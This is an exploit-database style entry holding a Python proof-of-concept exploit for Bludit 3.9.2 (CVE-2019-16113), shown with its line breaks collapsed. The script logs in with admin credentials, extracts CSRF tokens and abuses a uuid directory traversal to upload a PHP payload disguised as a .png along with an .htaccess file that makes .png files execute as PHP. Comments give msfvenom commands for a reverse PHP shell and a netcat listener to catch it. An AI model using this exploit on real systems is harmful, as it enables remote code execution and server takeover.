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Bludit 3.9.2 Directory Traversal

2020-07-30 15:04
# Title: Bludit 3.9.2 - Directory Traversal# Author: James Green# Date: 2020-07-20# Vendor Homepage: https://www.bludit.com# Software Link: https://github.com/bludit/bludit# Version: 3.9.2# Tested on: Linux Ubuntu 19.10 Eoan# CVE: CVE-2019-16113# # Special Thanks to Ali Faraj (@InfoSecAli) and authors of MSF Module https://www.exploit-db.com/exploits/47699#### USAGE ##### 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP# 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir# 3. Run the exploit# 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc# 5. Visit your target web app and open the evil picture: visit url + /bl-content/tmp/temp/evil.png#!/usr/bin/env python3import requestsimport reimport argparseimport randomimport stringimport base64from requests.exceptions import Timeouturl = ''  # CHANGE MEusername = 'James'  # CHANGE MEpassword = 'Summer2020'  # CHANGE ME# msfvenom -p php/reverse_php LHOST= LPORT=53 -f raw -b '"' > evil.png# echo -e "<?php $(cat evil.png)" > evil.png payload = 'evil.png'  # CREATE ME# echo "RewriteEngine off" > .htaccess# echo "AddType application/x-httpd-php .png" >> .htaccesspayload2 = '.htaccess'  # CREATE MEdef login(url,username,password):    """ Log in with provided admin creds, grab the cookie once authenticated """    session = requests.Session()    login_page = session.get(url + "/admin/")    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',                           login_page.text                 ).group(1)    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])    data = {"save":"",            "password":password,            "tokenCSRF":csrf_token,            "username":username}    headers = {"Origin":url,               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",               "Upgrade-Insecure-Requests":"1",               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",               "Connection":"close",               "Referer": url + "/admin/",               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",               "Accept-Encoding":"gzip, deflate",               "Content-Type":"application/x-www-form-urlencoded"    }    cookies = {"BLUDIT-KEY":cookie}    response = session.post(url + "/admin/",                            data=data,                            headers=headers,                            cookies=cookies,                            allow_redirects = False               )    print("cookie: " + cookie)    return cookiedef get_csrf_token(url,cookie):    """ Grab the CSRF token from an authed session """    session = requests.Session()    headers = {"Origin":url,               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",               "Upgrade-Insecure-Requests":"1",               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",               "Connection":"close",               "Referer":url + "/admin/",               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",               "Accept-Encoding":"gzip, deflate"}    cookies = {"BLUDIT-KEY":cookie}    response = session.get(url + "/admin/dashboard",                           headers=headers,                           cookies=cookies               )    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]    print("csrf_token: " + csrf_token)    return csrf_tokendef upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):    """ Upload files required for to execute PHP from malicious image files. Payload and .htaccess """    session = requests.Session()    files= {"images[]": (payload,                         open(payload, "rb"),                         "multipart/form-data",                         {"Content-Type": "image/png", "filename":payload}                        )}    if override_uuid:        data = {"uuid": "../../tmp/temp",                "tokenCSRF":csrf_token}    else:        # On the vuln app, this line occurs first:        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);        # Even though there is a file extension check, it won't really stop us        # from uploading the .htaccess file.        data = {"tokenCSRF":csrf_token}    headers = {"Origin":url,               "Accept":"*/*",               "X-Requested-With":"XMLHttpRequest",               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",               "Connection":"close",               "Referer":url + "/admin/new-content",               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",               "Accept-Encoding":"gzip, deflate",    }    cookies = {"BLUDIT-KEY":cookie}    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)    print("Uploading payload: " + payload)if __name__ == "__main__":    cookie = login(url, username, password)    token = get_csrf_token(url, cookie)    upload_evil_image(url, cookie, token, payload, True)    upload_evil_image(url, cookie, token, payload2)

Source: 2410700202-BLW/eussi/moc.ytirucesxc

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